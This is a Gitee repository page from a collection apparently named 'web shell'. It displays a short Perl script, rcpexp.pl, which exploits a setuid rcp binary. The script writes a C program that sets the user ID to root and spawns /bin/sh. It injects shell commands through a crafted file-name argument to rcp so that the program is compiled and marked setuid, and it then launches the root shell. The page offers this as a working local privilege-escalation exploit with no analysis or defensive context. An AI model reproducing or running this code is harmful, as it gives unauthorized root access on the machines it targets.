1 Star 0 Fork 0

alpha/web shell

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
rcpexp.pl 809 Bytes
一键复制 编辑 原始数据 按行查看 历史
tennc 提交于 2013-06-10 15:05 +08:00 . update
#!/usr/bin/perl -w
$RCPFILE="/usr/bin/rcp" ;
sub USAGE
{
printf "Starting RCP Exploit" ;
exit 0 ;
}
if ( ! -u "$RCPFILE" )
{
printf "RCP is not suid, quiting\n" ;
exit 0;
}
open(TEMP, ">>/tmp/shell.c")|| die "Something went wrong: $!" ;
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP " setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}\n" ;
close(TEMP);
open(HMM, ">hey")|| die "Something went wrong: $!";
close(HMM);
system "rcp 'hey geezer; gcc -o /tmp/shell /tmp/shell.c;' localhost 2> /dev/null" ;
system "rcp 'hey geezer; chmod +s /tmp/shell;' localhost 2> /dev/null" ;
unlink("/tmp/shell.c");
unlink("hey");
unlink("geezer");
printf "Ok, launching a rootshell, lets hope shit went well ... \n" ;
exec '/tmp/shell' ;
#EOF
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/ruichow/web-shell.git
git@gitee.com:ruichow/web-shell.git
ruichow
web-shell
web shell
master

搜索帮助